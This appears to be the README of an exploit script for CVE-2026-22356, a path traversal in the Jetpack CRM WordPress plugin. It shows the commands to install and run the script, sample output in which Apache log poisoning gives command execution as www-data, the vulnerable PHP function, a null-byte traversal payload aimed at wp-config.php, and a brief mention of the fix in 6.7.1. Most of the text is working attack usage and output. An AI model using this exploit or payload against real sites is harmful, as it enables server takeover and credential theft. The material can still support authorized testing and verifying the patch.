
CVE-2026-22356: Jetpack CRM Path Traversal Vulnerability and RCE
Warning: This tool should only be used in authorized test environments. The user is solely responsible for illegal use.
pip3 install requests urllib3
$ python3 exploit.py https://example.com --rce --cmd "id"
[+] Target is VULNERABLE to LFI!
[*] Attempting Log Poisoning for RCE...
[*] Searching for accessible log files...
[*] Trying: ../../../../var/log/apache2/access.log
[+] Found accessible log file: ../../../../var/log/apache2/access.log
[*] Poisoning log file: ../../../../var/log/apache2/access.log
[+] Payload injected into log file.
[*] Executing command: id
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
function jpcrm_load_admin_page( $page_name, $alt_path = ZEROBSCRM_PATH ) {
$target_file = $alt_path . "admin/$page_name.page.php";
if ( file_exists( $target_file ) ) {
require_once $target_file;
}
}
In this code, $page_name is used directly without any validation, so an attacker can send page=../../../wp-config.php%00 to trigger the require_once("admin/../../../wp-config.php%00.page.php") call. When PHP interprets the null byte as the end of the filename, the wp-config.php file is executed.
In version 6.7.1, this code was fixed by adding realpath() and strpos() checks.
This document is prepared for you to understand the CVE-2026-22356 vulnerability and to use it in your authorized tests. Illegal use is entirely the user's responsibility.